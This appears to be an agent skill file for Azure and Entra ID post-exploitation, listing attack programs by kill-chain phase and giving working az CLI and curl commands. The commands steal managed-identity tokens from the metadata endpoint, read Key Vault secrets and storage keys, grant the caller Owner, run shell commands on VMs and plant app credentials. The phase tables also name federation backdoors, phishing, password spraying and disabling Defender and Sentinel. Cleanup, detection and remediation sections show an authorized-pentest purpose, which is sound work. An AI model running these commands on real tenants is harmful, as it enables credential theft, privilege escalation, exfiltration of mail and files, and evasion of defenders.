azure-postexploit

Azure/Entra ID post-exploitation — 154 programs for tenant compromise, CIS compliance, identity attacks, data exfiltration, and M365 abuse

SKILL.md

GitHub

Azure/Entra ID Post-Exploitation Methodology

154 programs across 13 categories — from basic enumeration to advanced Entra ID attacks, CIS compliance auditing, and M365 exploitation. All operations use az CLI and Microsoft Graph API.

Prerequisites

  1. Valid Azure credentials — service principal, user credentials, managed identity, or access token
  2. az CLI installed — az version
  3. Current identity — verify access via az account show
# Quick prerequisite check
az account show    # verify Azure CLI credentials
az version         # verify CLI

Kill Chain Phases

Phase 1 — Situational Awareness (Recon: 47 programs)

Action Command Purpose
Subscription enum azurehook subscription_enum Subscription details, quotas, spending
Resource graph azurehook resource_graph Cross-subscription resource queries
Entra ID enum azurehook entra_enum Users, groups, apps, SPs, conditional access
VM enum azurehook vm_enum VMs, public IPs, disks, extensions
Network enum azurehook vnet_enum VNets, subnets, peering, NSGs
NSG audit azurehook nsg_audit Overly permissive network rules
RBAC audit azurehook rbac_audit Role assignments, custom roles
SQL enum azurehook sql_enum SQL servers, databases, firewall rules
App Service azurehook app_service_enum App Service apps, auth, config
AKS azurehook aks_enum AKS clusters, nodegroups, RBAC
DNS azurehook dns_enum DNS zones, records, DNSSEC
Subdomain takeover azurehook subdomain_takeover Dangling CNAME detection
Public exposure azurehook public_exposure_scan Public IPs, storage, databases
Managed identity azurehook managed_identity Managed identity token harvest
Plus 33 more acr_enum, redis_enum, data_factory_enum, front_door_enum, apim_enum, databricks_enum, app_insights_enum, monitor_enum, sentinel_enum, vpn_gateway_enum, etc. Service-specific enumerators

Phase 2 — Credential Harvesting (14 programs)

Action Command Purpose
Key Vault dump azurehook keyvault_dump Secrets, keys, certificates
Token abuse azurehook azuread_token --action foci FOCI token swap, PRT abuse
IMDS harvest azurehook imds_harvest Instance metadata credentials
Device code phish azurehook device_code_phish Device code phishing flow
Graph tokens azurehook graph_token_harvest Multi-resource token harvest
Storage keys azurehook storage_key_dump Storage account access keys
Automation creds azurehook automation_cred_dump Automation Account credentials
Kubeconfig azurehook kubeconfig_dump AKS admin kubeconfig
Webapp env azurehook webapp_env_dump App Service env variables
Plus 5 more token_theft, certificate_abuse, refresh_token_replay, runbook_cred_extract, webapp_env_dump Additional credential sources

Phase 3 — Privilege Escalation (11 programs)

Action Command Purpose
Consent grant azurehook entra_privesc --method consent_grant Illicit consent grant
PIM activation azurehook pim_abuse Activate eligible admin roles
Global Admin azurehook global_admin_elevate Global Admin elevation
Custom role azurehook custom_role_exploit Exploit custom role definitions
CA bypass azurehook conditional_access_audit Find MFA gaps in CA policies
Managed identity azurehook managed_identity_privesc Over-privileged managed identities
App admin azurehook app_admin_privesc High-privilege app permissions
Plus 4 more deployment_privesc, resource_hierarchy_abuse, group_membership_abuse, partner_admin_abuse Additional escalation paths

Phase 4 — Identity Attacks (Entra ID: 10 programs)

Action Command Purpose
Federation backdoor azurehook federation_backdoor --domain D --idp-url URL Golden SAML via federation trust
PTA abuse azurehook pta_abuse Pass-Through Authentication interception
AADConnect azurehook aadconnect_dump Sync account enumeration (DCSync)
Seamless SSO azurehook seamless_sso_abuse Silver ticket via AZUREADSSOACC
SAML forge azurehook saml_forge --domain D SAML config for token forging
MFA manipulation azurehook mfa_manipulation MFA method enum/manipulation
Password spray azurehook password_spray Entra ID password spraying
Consent phish azurehook consent_phish OAuth consent phishing
Plus 2 more user_creation, tenant_recon_insider Account creation, insider recon

Phase 5 — Lateral Movement (10 programs)

Action Command Purpose
VM Run Command azurehook vm_run_command --vm NAME --command CMD Execute on VM via Run Command
Bastion tunnel azurehook bastion_tunnel Azure Bastion tunneling
Arc exec azurehook arc_exec Arc connected machine execution
Intune deploy azurehook intune_deploy Deploy scripts via Intune
Cross-tenant azurehook cross_tenant_enum B2B cross-tenant enumeration
DevOps azurehook devops_service_conn DevOps service connection abuse
Plus 4 more custom_script_ext, userdata_command, msbuild_exec, shared_image_inject Additional lateral paths

Phase 6 — Persistence (11 programs)

Action Command Purpose
Runbook backdoor azurehook runbook_backdoor --automation-account NAME --resource-group RG Automation runbook backdoor
Logic App azurehook logic_app_backdoor --resource-group RG --name NAME --callback-url URL HTTP-triggered callback
Function App azurehook function_app_backdoor --resource-group RG --name NAME --callback-url URL Function App with exfil
SP persist azurehook sp_persist Service principal credentials
VM extension azurehook vm_extension_backdoor Custom script extension
Lighthouse azurehook lighthouse_persist Cross-tenant Lighthouse persist
Plus 5 more webhook_persist, devops_pipeline_backdoor, acr_image_backdoor, scheduled_task_persist, oauth_app_persist Additional persistence

Phase 7 — Data Exfiltration (12 programs)

Action Command Purpose
Storage dump azurehook storage_dump Blob Storage data exfil
Cosmos DB azurehook cosmos_dump --account NAME Cosmos DB keys and data
Disk snapshot azurehook disk_snapshot Managed disk offline analysis
Graph mail azurehook graph_mail_dump Exchange Online mail via Graph
SharePoint azurehook sharepoint_dump SharePoint document exfil
Teams dump azurehook teams_dump Teams channel messages
Plus 6 more table_queue_dump, file_share_dump, data_lake_dump, service_bus_sniff, event_hub_tap, vm_disk_download Additional data sources

Phase 8 — M365 Exploitation (4 programs)

Action Command Purpose
Exchange abuse azurehook exchange_abuse Mailbox rules, forwarding, delegation
SharePoint enum azurehook sharepoint_enum SharePoint sites, document libraries
Teams enum azurehook teams_enum Teams channels, messages
OneDrive access azurehook onedrive_access OneDrive files and shared items

Phase 9 — Defense Evasion (11 programs)

Action Command Purpose
Diagnostic tamper azurehook diagnostic_tamper Disable diagnostic settings
Sentinel suppress azurehook sentinel_suppress Suppress analytics rules
Defender disable azurehook defender_disable Disable Defender plans
Activity log azurehook activity_log_tamper Tamper activity log settings
Policy exempt azurehook policy_exempt Create policy exemptions
WAF bypass azurehook waf_bypass Modify/disable WAF rules
Plus 5 more alert_suppress, log_analytics_tamper, nsg_flow_log_disable, resource_move, tag_manipulation Additional evasion

Phase 10 — Compliance Audit (CIS Azure v3.0: 18 programs)

Action Command CIS Control
Defender plans azurehook defender_plan_audit CIS 2.1
Security contacts azurehook defender_contact_audit CIS 2.1.x
Storage security azurehook storage_security_audit CIS 4.1-4.17
SQL audit azurehook sql_audit_config CIS 5.1.1-5.1.7
PostgreSQL azurehook postgres_audit CIS 4.3.x
MySQL azurehook mysql_audit CIS 4.4.x
Cosmos DB azurehook cosmos_security_audit CIS 4.5.x
Diagnostics azurehook diagnostic_audit CIS 5.1
Activity alerts azurehook activity_alert_audit CIS 5.2
Network Watcher azurehook network_watcher_audit CIS 6.5
VM security azurehook vm_security_audit CIS 7.x
App Service azurehook appservice_security_audit CIS 9.x
Key Vault azurehook keyvault_security_audit CIS 8.x
Identity MFA azurehook identity_mfa_audit CIS 1.1-1.3
Guest access azurehook guest_access_audit CIS 1.5
Password policy azurehook password_policy_audit CIS 1.8-1.11
Resource locks azurehook resource_lock_audit CIS 8.5
Policy compliance azurehook policy_compliance_audit Azure Policy

Phase 11 — Impact Assessment (5 programs)

Action Command MITRE
Resource hijack azurehook resource_hijack T1496
Data destroy azurehook data_destroy T1485
Ransomware sim azurehook ransomware_sim T1486
Account lockout azurehook account_lockout T1531
Service disruption azurehook service_disruption T1489

Phase 12 — Cleanup (MANDATORY)

azurehook cleanup_azure

Detection Considerations

  • Azure Activity Log — All ARM API calls, role assignments, resource creation
  • Entra ID Audit Logs — App consent grants, credential additions, role activations
  • Microsoft Defender for Cloud — Anomalous resource access, privilege escalation
  • Conditional Access — Untrusted location/device blocks
  • Azure Sentinel — UEBA, anomalous sign-in patterns, bulk data access
  • Microsoft Graph Activity Logs — Graph API access to mail, files, teams

Program Reference

Program Technique MITRE ATT&CK
entra_enum Entra ID tenant enumeration T1087.004
subscription_enum Subscription discovery T1580
resource_graph Cross-subscription queries T1580
keyvault_dump Key Vault secret extraction T1555.006
storage_dump Azure Storage data exfiltration T1530
managed_identity Managed identity token harvest T1552.005
azuread_token Token manipulation and FOCI abuse T1550.001
entra_privesc Privilege escalation via consent/PIM T1098.001
federation_backdoor Federation trust manipulation T1484.002
pta_abuse PTA credential interception T1556.007
aadconnect_dump AADConnect sync account abuse T1003.006
runbook_backdoor Automation Account persistence T1525
vm_run_command VM Run Command execution T1059.006
diagnostic_tamper Disable diagnostic settings T1562.008
sentinel_suppress Suppress Sentinel analytics T1562.001
resource_hijack Resource hijacking/cryptomining T1496
exchange_abuse Exchange Online abuse T1114.002
cleanup_azure Resource removal and restoration T1070

Evidence Standard

Every claim in an Azure/Entra ID post-exploitation report must be reproducible from the same starting principal. Azure findings are easy to overstate because the ARM control plane and the Entra ID identity plane are separate authorities: a token that reads subscriptions proves nothing about directory write access.

Item Command Why
Foothold identity az account show; az ad signed-in-user show subscription/tenant and whether you hold a user, SP, or managed identity
Token audience az account get-access-token --resource https://management.azure.com --query expiresOn a management-plane token is not a Graph token
Effective role assignments az role assignment list --assignee OBJECT_ID --all -o table the artefact that granted the escalation
Deny assignments az rest --method get --url "https://management.azure.com$SCOPE/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01" a deny assignment makes a broad role inert
Managed identity reach curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" the IMDS artefact; note the client_id in the response
Escalation proof az role assignment list before and after, with the new assignment's id shows the boundary moved
Directory role scope az rest --method get --url https://graph.microsoft.com/v1.0/me/memberOf Global Reader is not Global Administrator
Conditional Access posture az rest --method get --url https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies explains why a token works from one host and not another
Key Vault reach az keyvault secret list --vault-name V -o table listing is not reading; read and report a redacted value

Verify the identity — and what the token is actually for

# Who am I, in which tenant, against which subscription
az account show
az ad signed-in-user show --query '{upn:userPrincipalName,id:id}'

# A management-plane token is NOT a Graph token — get both, note the audience
az account get-access-token --resource https://management.azure.com --query '{exp:expiresOn}' -o table
az account get-access-token --resource https://graph.microsoft.com  --query '{exp:expiresOn}' -o table

Harvest the managed identity from IMDS (the artefact on a VM or AKS node)

# Both the ARM and the Graph audience, because RBAC and directory scope are separate
curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq '{client_id, expires_on, resource}'

curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
  | jq -r .access_token

Prove reach, not permission

# The token works — now use az rest to ask the control plane the question directly
TOKEN=$(curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)

az rest --method get \
  --url "https://management.azure.com/subscriptions?api-version=2022-12-01" \
  --headers "Authorization=Bearer $TOKEN" --query 'value[].{id:id,state:state}' -o table
# Is the apparent role assignment real, or blocked by a deny assignment / PIM eligibility?
az role assignment list --assignee PRINCIPAL_ID --all -o table
az rest --method get \
  --url "https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01" \
  --query 'value[].{name:properties.roleDefinitionId,scope:properties.scope,principal:properties.principalId}' -o table

The az account show output paired with the role-assignment artefact and the executed action is the finding. "The managed identity had Contributor" is an observation; "the node's managed identity carried Contributor at subscription scope with no deny assignment, so az rest against /subscriptions returned all subscriptions and az vm run-command invoke executed on vm-prod-01, confirmed by az role assignment list --assignee before and after" is a finding.

False positives — exclude each of these explicitly:

  • A management-plane token used to claim directory access. ARM and Graph are separate audiences. Prove a directory claim with a Graph token against /me/memberOf or the specific endpoint.
  • A role assignment that is PIM-eligible but not active. az role assignment list shows active assignments; an eligible-but-inactive PIM role grants nothing until activated. Prove activation.
  • A deny assignment in Azure Blueprints that overrides the RBAC grant. Read the deny assignments at the scope before claiming the permission works.
  • IMDS reachable but the identity has no role. Metadata reach is not access; call ARM and report the returned AuthorizationFailed verbatim.
  • Global Reader reported as administrative access. Reader cannot modify. State the exact role.
  • A Conditional Access policy blocking the token in practice. A token minted from an untrusted location may be rejected by a CA policy even though the directory role exists.
  • A Key Vault you can list but not read. Listing secrets is metadata access; only a successful secret show proves credential access, and its value should be redacted to first/last 4 characters.

Record an executed role assignment change or successful secret read as SOLID. Record a role that appears broad but was not exercised as PLAUSIBLE until you call the API. Record a claim refuted by a deny assignment or CA policy as OVERSTATED.

Detection and log integrity

Source What it records
Azure Activity Log every ARM call, the caller identity, and the source IP
Entra ID audit logs app consent grants, credential additions, role activations
Microsoft Graph activity logs Graph access to mail, files, and teams
Defender for Cloud anomalous resource access and privilege escalation
Sentinel / UEBA anomalous sign-in patterns and bulk data access
Conditional Access the device and location conditions applied to each token

Remediation Reference

  1. Apply least privilege to managed identities and service principals. A managed identity is a credential with no human in the loop — scope it to a resource group or single resource, never the subscription. Audit with az role assignment list --all --assignee for each identity and remove Owner and Contributor wherever a narrower built-in role exists.
  2. Remove standing administrative access and enforce PIM. Eligible, time-bound, approval-gated activation removes the persistent Global Administrator target that consent-grant and token-theft attacks rely on. Require MFA and justification on activation, and alert on activation.
  3. Rotate and expire credentials using a deployment pipeline, not az ad sp credential reset by hand. Query and remove long-lived secrets and certificates on app registrations and service principals; prefer workload identity federation or managed identities over client secrets entirely. Assume every credential observed during the engagement is compromised.
  4. Enforce Conditional Access on every identity, including service principals. Require compliant or Entra-joined devices for administrative roles, block legacy authentication, and apply a CA policy to workload identities where the control plane supports it. A CA policy that does not cover the identity you escalated with is not a control.
  5. Constrain Key Vault and storage reach. Use RBAC (not access policies) for vault access, enable purge protection and soft delete, prefer private endpoints, and disable public network access. Rotate storage account keys that were readable during the engagement — a storage key bypasses every identity control on the data plane.
  6. Harden and centralise diagnostics. Route Activity Log, Entra ID audit, and Graph activity logs to an immutable, centrally controlled Log Analytics workspace or storage account in a separate subscription. Alert on diagnostic-setting deletion, Microsoft.Authorization/roleAssignments/write, app credential additions, and consent grants.
  7. Detect the high-signal operations. Alert on new federation trusts (Set domain authentication with an attacker IdP URL), on Add servicePrincipal credential operations, on PIM activation outside a baseline, and on VM Run Command / Custom Script Extension execution outside change windows — these are the persistence and lateral primitives in this file.
  8. Govern OAuth consent. Restrict user consent to verified publishers, require admin consent, and audit oauth2PermissionGrants for illicit consent grants. An app with Mail.Read or Files.ReadWrite.All is a lasting data-access path that no password rotation removes.
  9. Enforce resource locks and export governance on data stores. CanNotDelete locks and Azure Policy deny effects turn the impact techniques (resource hijack, data destroy) from available primitives into blocked ones.

Related Routing




7. CONFIRMING THE FINDING

Step Question What it proves
1 What identity is the credential, from the provider's own az account show or Graph me? the tenant and principal
2 Which roles and scopes are assigned, directly and through groups? the permission surface
3 Did the control identity fail the same call you succeeded at? escalation, not base permission
4 Did you read a real resource (a key vault secret, a storage blob, a database)? impact
5 For a managed-identity token: what did the token audience grant? the scope of a stolen identity
6 Did you reach multiple subscriptions or tenants? blast radius
7 Is the credential still valid, and can it obtain a fresh token? live impact

A role assignment plus a resource read is the bar. az role assignment list output is a configuration statement; a secret read from a key vault is the finding.


8. EXECUTION PRIMITIVES

Azure post-exploitation is proven by reading a resource as a principal you hold or escalated into. Every block ends at data.

8.1 Identity, tenant, and the control

# identity and tenant
az account show --query '{sub:id,tenant:tenantId,user:user.name}' -o json
az ad signed-in-user show --query '{upn:userPrincipalName,id:id}' -o json 2>/dev/null
# and as a service principal or managed identity, the identity comes from the token
az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv 2>/dev/null \
  | cut -d. -f2 | base64 -d 2>/dev/null | head -c 400; echo
# the control: a call that SHOULD be denied at this privilege level
az role assignment list --all --query 'length(@)' -o tsv 2>&1 | head -3
az keyvault list --query 'length(@)' -o tsv 2>&1 | head -3

Record the tenant ID, the principal, and the failing control first. Entra ID findings are scoped to a tenant, and the principal ID is what the client will revoke.

8.2 Enumerate the permission surface

# what roles does this principal hold, and at what scope
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv 2>/dev/null)" \
  --all --query '[].{role:roleDefinitionName,scope:scope}' -o table 2>/dev/null | head -20
# and the groups that carry the roles
az ad user get-member-groups --id "$(az ad signed-in-user show --query id -o tsv 2>/dev/null)" 2>/dev/null | head -20
# the resource inventory, which is what the roles actually reach
az resource list --query '[].{name:name,type:type,rg:resourceGroup}' -o table 2>/dev/null | head -30
az vm list --query '[].{name:name,rg:resourceGroup,id:id}' -o table 2>/dev/null | head -20

Map each role to its scope. "Contributor on the subscription" is the finding shape; "Contributor on resource group prod-rg only" is a materially different one, and the table shows which.

8.3 Reading the resources that matter

# key vault: list, then READ a secret - the read is the finding
az keyvault list --query '[].{name:name,rg:resourceGroup}' -o table 2>/dev/null | head -10
az keyvault secret list --vault-name VAULT --query '[].{name:name,enabled:attributes.enabled}' -o table 2>/dev/null | head -20
az keyvault secret show --vault-name VAULT --name SECRET --query value -o tsv 2>/dev/null | head -c 200; echo
# and the keys and certificates, which are a different permission and a bigger impact
az keyvault key list --vault-name VAULT --query '[].kid' -o tsv 2>/dev/null | head -10
# storage: the account keys, which grant full data-plane access
az storage account list --query '[].{name:name,rg:resourceGroup}' -o table 2>/dev/null | head -10
az storage account keys list --account-name ACCT --query '[0].value' -o tsv 2>/dev/null | head -c 60; echo
az storage container list --account-name ACCT --auth-mode key --query '[].name' -o tsv 2>/dev/null | head -10

A key vault secret value or a storage account key is the finding. Listing vaults is reconnaissance; secret show --query value returning content is the impact.

8.4 Managed identity and the IMDS-equivalent

# from an Azure host: the managed identity token endpoint needs only a header
curl -sS -H Metadata:true --noproxy '*' \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | head -c 400; echo
# decode the token to see exactly which principal it is and what it can do
TOK=$(curl -sS -H Metadata:true --noproxy '*' \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | python3 -c 'import json,sys;print(json.load(sys.stdin)["access_token"])' 2>/dev/null)
python3 -c "
import base64,json,sys
p='$TOK'.split('.')[1]; p+='='*(-len(p)%4)
d=json.loads(base64.urlsafe_b64decode(p))
print('oid:',d.get('oid'),'| appid:',d.get('appid'),'| roles:',d.get('roles'),'| exp:',d.get('exp'))" 2>/dev/null
# and any user-assigned identities attached to the VM, which are separate principals
curl -sS -H Metadata:true --noproxy '*' \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=CLIENT_ID" | head -c 200; echo

The oid in the decoded token names the principal, and the roles array is its permission set. A token you never used against a resource is the surface; a keyvault secret show with it is the finding.

8.5 Escalation paths, each tested and then reverted

# 1) a principal with User Access Administrator can grant itself Owner
az role assignment create --assignee "$(az ad signed-in-user show --query id -o tsv)" \
  --role Owner --scope /subscriptions/SUBID 2>&1 | head -3
# 2) an application with a client secret you can read can authenticate as that application
az ad app list --query '[].{name:displayName,appId:appId}' -o table 2>/dev/null | head -10
az ad app credential list --id APPID 2>/dev/null | head -10
# 3) a runbook or automation account with a managed identity, reachable from a Contributor role
az automation account list --query '[].{name:name,rg:resourceGroup}' -o table 2>/dev/null | head -10
# 4) the VM extension or run-command primitive, which is code execution on a host
az vm run-command invoke -g RG -n VM --command-id RunShellScript --scripts 'id; hostname' 2>&1 | head -20

Every granted assignment must be deleted in the same session, with the deletion verified. Record the creating call and the deleting call; a left-behind Owner assignment is an incident.

8.6 Run-command and the crossover to a host

# the highest-yield Azure primitive: command execution on a VM through the control plane
az vm run-command invoke -g RG -n VM --command-id RunShellScript \
  --scripts 'curl -sS -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | head -c 200' 2>&1 | tail -20
# and the same against a VM scale set
az vmss run-command invoke -g RG -n VMSS --instance-id 0 --command-id RunShellScript --scripts 'whoami' 2>&1 | tail -10
# then use the host identity, which is the finding
az keyvault secret show --vault-name VAULT --name SECRET --query value -o tsv 2>/dev/null | head -c 120; echo

run-command returning host output is the finding, because a Contributor role on a VM is code execution on that VM by design - the value is naming the identity it produces and what that identity reaches.

8.7 Persistence, then removal

# create a credential on an application, verify it, use it, then REMOVE it
az ad app credential reset --id APPID --display-name pentest --years 1 --query '{appId:appId,password:password}' -o json 2>/dev/null | head -c 300
# verify the new credential authenticates
az login --service-principal -u APPID -p 'PASSWORD' --tenant TENANT 2>&1 | head -3
# and remove it, then verify the removal
az ad app credential list --id APPID --query '[].{name:displayName,keyId:keyId}' -o table
az ad app credential delete --id APPID --key-id KEYID
az ad app credential list --id APPID --query '[].displayName' -o tsv

A persistence credential that is not removed is an incident. The final credential list no longer showing it is the evidence that the cleanup happened.

8.8 A harness that pairs escalation with its control and cleanup

python3 - <<'PY'
import subprocess, shlex, json
def az(cmd, timeout=60):
    try:
        r = subprocess.run(shlex.split("az " + cmd), capture_output=True, text=True, timeout=timeout)
        return r.returncode == 0, (r.stdout + r.stderr).strip()
    except Exception as e:
        return False, str(e)

ok, who = az("account show --output json")
print("account:", who[:200] if ok else who[:120])
if not ok:
    print("not authenticated - stop here"); raise SystemExit

print()
print("CONTROL - calls expected to fail at this privilege level:")
for c in ["role assignment list --all", "keyvault list", "storage account list"]:
    ok2, out = az(c + " --query length(@) -o tsv", 30)
    print("  %-30s %s" % (c, ("ALLOWED " + out[:20]) if ok2 else "denied"))

print()
print("READS - one resource per service, which is what proves impact:")
for name, c in [("resource-groups", "group list --query [].name -o tsv"),
                ("vms", "vm list --query [].name -o tsv"),
                ("keyvaults", "keyvault list --query [].name -o tsv")]:
    ok3, out = az(c, 60)
    print("  %-14s %s %s" % (name, "OK  " if ok3 else "FAIL", (out[:80] if ok3 else out[:60])))

print()
print("Report: tenant ID, principal ID, the control results, and each read with its row count.")
print("Delete every role assignment you created and every credential; verify both deletions.")
PY

Tenant, principal, control, read, revert. A report missing the control or the deletion evidence is incomplete.


9. EVIDENCE STANDARD

Item Why
The tenant ID and principal ID the scope and the object to revoke
The control call result at the base privilege proves escalation
The role assignment with its scope behind each permission the fix location
The resource read with a redacted sample impact
For a managed identity: the decoded token's oid and roles it names the principal and its power
For run-command: that a Contributor role is code execution and what it produced the escalation named
The Entra ID sign-in and audit records the activity generated the blue-team half
The deletion of every assignment and credential, verified engagement integrity
The credential's expiry and whether it remains usable live impact
Confirmation that no secret value is reproduced in full no unnecessary disclosure

Report the principal and the read: "the VM web01 in prod-rg carries a system-assigned managed identity with oid 5c...; the IMDS token endpoint (169.254.169.254/metadata/identity/oauth2/token) returned a management-plane token without any credential, and its roles claim is Contributor at the subscription scope; az vm run-command invoke --command-id RunShellScript --scripts 'id' returned uid=0(root), and the identity read prod-kv/api-db-password with keyvault secret show; the same calls with the engagement read-only principal are Forbidden", never "managed identity is over-permissioned".

False positives - do not report these

Observation Why it is not a finding
A role assignment you never exercised a statement, not access
az account show succeeding every authenticated principal can do it
A Forbidden on a resource the control working
A key vault you can list but not read secrets from test the read, report the denial
An IMDS token endpoint reachable but returning a useless audience check what the token unlocks
A Contributor role on a resource group with nothing in it verify the contents before claiming impact
A Reader role on a subscription read is the grant; escalation needs more
Subscription access held by an engagement-provided principal in-scope, not escalation
az ad app credential list returning existing credentials their existence is not your access
A finding against a personal tenant tests your own environment
A secret value reproduced in full a disclosure

Read a resource, or it is not a finding. Azure produces long role-assignment tables; they are the inventory, not the report.


10. REMEDIATION REFERENCE

  1. Apply least privilege to every managed identity, and prefer resource-scoped roles to subscription-scoped ones - a subscription Contributor is code execution on every VM in it.
  2. Treat Contributor plus run-command as code execution, and restrict who holds it - the control plane is the attack surface when it can run scripts on hosts.
  3. Require managed identities rather than stored credentials, and eliminate client secrets with long expiries - a secret that does not exist cannot be stolen.
  4. Restrict key vault access with access policies or RBAC, enable soft delete and purge protection, and alert on SecretGet - the vault is the concentration of value.
  5. Rotate storage account keys and prefer Azure AD data-plane authorization over shared keys - account keys bypass the entire RBAC model.
  6. Restrict User Access Administrator and Owner assignments, and alert on role assignment create - it is one call from full control.
  7. Enable Microsoft Defender for Cloud and Entra ID Protection, and route sign-in and audit logs to a workspace in a separate subscription - the logs are the detection and the scope.
  8. Restrict which principals can authenticate as which applications, and review app credentials quarterly - an app credential you can read is an identity you can become.
  9. Require MFA and conditional access for all interactive sign-ins, and block legacy authentication - it closes the simplest credential paths.
  10. Review guest access and cross-tenant collaboration settings - external principals are the quiet path between tenants.
  11. Alert on run-command and Run Command extension invocations - they are rare in steady state and are the classic escalation primitive.

11. RELATED SIBLINGS - LOAD TOGETHER


SELF-VERIFY — azure-postexploit

wc -c SKILL.md                                   # expect 24000-31000
grep -c '^## ' SKILL.md                          # expect 6 topological sections
grep -oE '\]\(\.\./[^)]+\)' SKILL.md | tr -d '](' | sed 's/)$//' | sort -u | while read p; do
  [ -f "../$p" ] && echo "OK   $p" || echo "DEAD $p"; done
for t in 'az account show' 'Metadata:true' '169.254.169.254' 'az rest' 'management.azure.com' \
         'graph.microsoft.com' 'denyAssignments' 'role assignment list' 'PIM' 'Conditional Access' \
         'Key Vault' 'federation' 'oauth2PermissionGrants' 'T1078.004' 'T1098.001'; do
  grep -q "$t" SKILL.md && echo "PASS $t" || echo "MISS $t"; done